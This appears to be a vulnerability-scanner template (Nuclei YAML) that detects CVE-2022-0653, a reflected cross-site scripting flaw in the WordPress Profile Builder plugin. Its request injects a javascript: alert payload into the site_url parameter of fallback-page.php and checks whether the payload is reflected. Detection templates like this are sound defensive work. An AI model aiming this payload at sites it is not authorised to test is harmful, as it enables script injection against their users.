id: CVE-2022-0653

info:
  name: Wordpress Profile Builder Plugin Cross-Site Scripting
  author: dhiyaneshDk
  severity: medium
  description: |
    The Profile Builder User Profile & User Registration Forms WordPress plugin is vulnerable to cross-site scripting due to insufficient escaping and sanitization of the site_url parameter found in the ~/assets/misc/fallback-page.php file which allows attackers to inject arbitrary web scripts onto a pages that executes whenever a user clicks on a specially crafted link by an attacker. This affects versions up to and including 3.6.1..
  reference:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=2022-0653
    - https://www.wordfence.com/blog/2022/02/reflected-cross-site-scripting-vulnerability-patched-in-wordpress-profile-builder-plugin/
    - https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=2655168%40profile-builder&new=2655168%40profile-builder&sfp_email=&sfph_mail=
  remediation: Upgrade to version 3.6.5 or later.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-0653
    cwe-id: CWE-79
    cpe: cpe:2.3:a:cozmoslabs:profile_builder:*:*:*:*:*:*:*:*
    epss-score: 0.00755
  tags: cve,cve2022,wordpress,xss,wp-plugin
  metadata:
    max-request: 1

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/profile-builder/assets/misc/fallback-page.php?site_url=javascript:alert(document.domain);&message=Not+Found&site_name=404"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<a href="javascript:alert(document.domain);">here</a>'

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

# Enhanced by mp on 2022/02/28